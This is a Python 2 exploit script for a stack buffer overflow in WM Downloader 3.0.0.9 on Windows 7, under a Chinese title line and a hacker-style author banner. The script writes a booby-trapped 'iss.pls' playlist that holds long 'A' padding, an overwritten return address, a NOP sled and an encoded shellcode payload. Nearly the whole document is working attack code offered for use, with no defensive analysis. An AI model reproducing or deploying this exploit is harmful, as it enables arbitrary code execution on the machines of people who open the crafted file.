WM Downloader 3.0.0.9 (.pls) File Win7 缓冲区溢出漏洞

EXP

#!/usr/bin/python
# WM Downloader 3.0.0.9 (.pls) File Win7 Buffer Overflow Exploit
# Author: TN_spl0!t3r ;) 
#                                                     
#        _ 
#       (_) ____  ____   ___   _ __ ___
#       | |/  __|/  __| / _ \ | '_ ` _ \
#       | |\___ \\___ \  (_|  | | | | | |
#       |_||____/|____/ \___|\|_| |_| |_|
#                         
#              ____ (_) ____   ___
#             (  _ \| |(  _ \ / _ \
#             | | | | || | | x |_|
#             | ||_/|_|| ||_/ \___/
#             |_|      |_|
#
# 
# Tested : Windows SEvEN
# DATE : 18/10/2011
# gReetz to mars-3I(pipo) , norman blackheart , bibou sfaxien , sami fakhfakh (s-man), monem red demon ,


import sys,os
print "###############################################"
print "#           WM Downloader 3.0.0.9             #"
print "#           Coded by Tn-Sploiter              #"
print "#               i'email protected               #"
print "#            www.fb.com/pipo.inza             #"
print "#   visit www.fb.com/best.of.hack.vip         #"
print "###############################################\r\n"

file=open('iss.pls','w')
buffer="\x41" * 26113   
eip="\xBB\x2D\x96\x76" # 76962DBB
nops="\x90" * 30        
shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
       "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
       "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
       "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
       "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
       "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
       "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
       "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
       "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
       "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
       "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
       "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
       "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
       "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
       "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
       "\x5d\xd9")
	   
file.write(buffer+eip+nops+shellcode)
print "\n + 3vil File Created  \n\n"
print "\n   chaye5 rou7ek \n\n"
print shell
raw_input("+ Press any key to exit...")
file.close()